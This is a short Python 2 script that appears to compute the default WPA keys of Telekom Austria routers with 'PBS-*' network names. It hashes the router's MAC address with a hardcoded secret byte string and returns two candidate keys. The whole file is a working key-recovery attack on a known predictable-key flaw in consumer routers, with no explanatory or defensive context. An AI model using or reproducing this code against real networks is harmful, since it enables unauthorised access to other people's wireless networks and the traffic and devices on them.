import re
import hashlib

#ssid = PBS-*  (telekom austria)

def mac_calc(mac):
    special = ('\x54\x45\x4F\x74\x65\x6C\xB6\xD9\x86\x96\x8D\x34\x45\xD2\x3B\x15' +
            '\xCA\xAF\x12\x84\x02\xAC\x56\x00\x05\xCE\x20\x75\x94\x3F\xDC\xE8')
    chars = '0123456789ABCDEFGHIKJLMNOPQRSTUVWXYZabcdefghikjlmnopqrstuvwxyz'
    h = hashlib.sha256()
    h.update(special)
    h.update(mac)
    digest = bytearray(h.digest())
    key = ''.join([chars[x % len(chars)] for x in digest[0:13]])
    return key
    
def calc(mac):
    mac = control_mac(mac)
    if mac == False:
        return False
    key = []
    mac = bytearray.fromhex(mac)
    key.append(mac_calc(mac))
    try:
        mac[5] -= 5
    except ValueError:
        return False
    key.append(mac_calc(mac))
    return key
    
def control_mac(mac):
    mac = re.sub(r'[^a-fA-F0-9]', '', mac)
    if len(mac) != 12:
        return False
    else:
        try:
            mac.decode("hex")
            return mac
        except TypeError:
            return False


